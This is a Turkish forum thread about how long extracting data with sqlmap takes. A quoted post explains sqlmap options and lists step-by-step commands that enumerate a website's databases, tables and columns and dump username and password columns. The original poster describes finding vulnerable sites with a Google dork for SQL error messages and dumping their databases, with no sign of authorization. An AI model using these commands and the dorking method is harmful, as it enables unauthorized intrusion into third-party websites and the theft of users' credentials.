Sqlmap İle Data Çekmek Ne Kadar Sürer ?
- Konuyu başlatan Teadorx
- Başlangıç tarihi
alıntıdır.
[/COLOR]
--risk : 1 ile 3 arasında değerler alabilen parametremiz. Eğer belirtilmezse default olarak 1 değerini alır. Risk 1 daha sınırlı sql cümleleri ile denetleme yapar. Risk 2'de risk 1'in üzerine heavy-query time based saldırılar da denetlemeye tabii tutulur. Risk 3'te ise ekstradan Or-based testler de eklenir.
--level : 1 ile 5 arasında değerler alabilen parametremiz. 1. seviyede daha kısıtlı testler denetlenirken, 5.seviyede daha fazla payload, daha detaylı prefix ve suffixler ile zenginleştirilmiş payloadlar kullanılmaktadır. Ayrıca HTTP Cookie başlığı 2.seviyeden sonra ve HTTP User-Agent/Referer başlıkları da seviye 3'ten sonra denetlenmektedir.
--random-agent : Testlerimizde kullanacağımı User-Agent değerinin, sqlmap ile hazır gelen user-agent değerlerinin bulunduğu dosya içeriisnden random olarak atanması için kullanabileceğimiz parametremiz.
--user-agent : Testlerimizde kullanacağımız User-Agent değerini kendimiz belirlemek için kullanabileceğimiz komutumuz.
-v : Default olarak 1 tanımlı gelen ve sqlmap çalıştığı süre zarfında bize gösterdiği çıktıların gösterimini belirlediğimiz verbose komutumuz. 0 ile 6 arasında değişmekte. 0 en az çıktıyı döndürürken, 6 en çok çıktı ile sonuçları döndürmekte.
--batch : Sqlmap'in input gerektiren bazı durumlarında, kullanıcı inputunu istemeden, sqlmap tarafından tanımlı default değerlere göre devam etmesini sağlayan parametremiz
--threads : Multi-threading ile sqlmap'in maximum kaç tane HTTP(s) isteği yapabileceğini belirlemek için kullanabileceğimiz parametremiz. Özellikle bruteforce searching işlemlerinde, aramamızı oldukça hızlandıran bu yöntem, performans sebepleri gerekçesiyle max. 10 thread kullanılması tavsiye edilmekte.
VERİTABANINI DAHA KOLAY ÇEKMEK İÇİN
1-)C:// Dizinine Gidelim...
KOD:
cd..
cd..
2-) C:// Dizininde SQLMAP'i Çalıştıralım...
KOD: cd sqlmap
3-)Veritabanını Çekelim...
KOD: sqlmap.py -u "siteadresi.com/news.php?id=x*" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs
4-)Tabloları Çekelim...
KOD: sqlmap.py -u "siteadresi.com/news.php?id=x*" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 veritabanıadı --tables
5-)Kolonları Çekelim...
KOD: sqlmap.py -u "siteadresi.com/news.php?id=x"* --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D veritabanıadı -T tabloadı --columns
6-)Verileri Çekelim...
KOD: sqlmap.py -u "siteadresi.com/news.php?id=x*" --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 -D veritabanıadı -T tabloadı -C kullanıcıadı,şifre --dump
[COLOR=rgb(97, 189, 109)]
işlemlerinizi sqlmap üzerinden yapmıyor musunuz?
bana telegram üzerinden yazar mısınız? post kasmayalım burada.
- Konuyu başlatan
- #11
Bu işte yeniyim özür diliyerek soruyorum bunun minimum süresi vs yokmu çünkü 4 saatten aşağı sürmüyor
İkinci maruzatım şu dorkla bir alakası olabilir mi
inurl
hp?id= intext:”you have an error in your sql syntax” site: kullandığım dork bu özellikle bu dork ile bulduğum sitelerin dbs ini çekerken saatlerce bekliyorum çoğu zaman sıkılıp kapatıyorum
Son düzenleme:
Sqlmap konusunda uzman olmadığımdan net bir şey diyemem ancakinurl
tarzı parametrelerin kullanımından dolayı olduğunu düşünüyorum. Bunlar daha çeşitli yöntemler denediğinden normalden de uzun sürüyor olması lazım.
